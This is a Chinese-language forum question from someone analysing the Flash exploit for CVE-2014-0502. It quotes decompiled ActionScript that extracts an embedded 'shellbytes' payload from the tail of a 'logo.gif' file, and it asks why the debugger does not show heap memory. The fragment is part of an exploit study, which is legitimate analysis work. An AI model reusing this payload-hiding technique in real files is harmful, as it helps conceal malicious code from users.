本人小菜。。。最近在尝试分析cve-2014-0502的Flash漏洞,把swf文件反编译后的代码重新用Flash builder编译,但是在调试时遇到了查看堆内存数据的问题。部分代码如下:
public function cc()
{
var loader = null;
loader = new URLLoader();
loader.dataFormat = "binary";
loader.addEventListener("complete", Ƿ);
loader.load(new URLRequest("logo.gif"));
}
public function Ƿ(e:Event):void{
var bytes:ByteArray = new ByteArray();
bytes.writeBytes((e.target.data as ByteArray), 0, (e.target.data as ByteArray).length);
bytes.position = (bytes.length - 4);
bytes.endian = "littleEndian";
var len:uint = bytes.readUnsignedInt();
var shellbytes:ByteArray = new ByteArray();
shellbytes.writeBytes(bytes, ((bytes.length - 4) - len), len);
shellbytes.position = 0;
}
我的本意是想实时查看堆内存数据,比如执行完"bytes.writeBytes((e.target.data as ByteArray), 0, (e.target.data as ByteArray).length);"语句后,内存中应该已经有"logo.gif"中的数据,但是变量窗口中显示的此bytes对象的结果如下图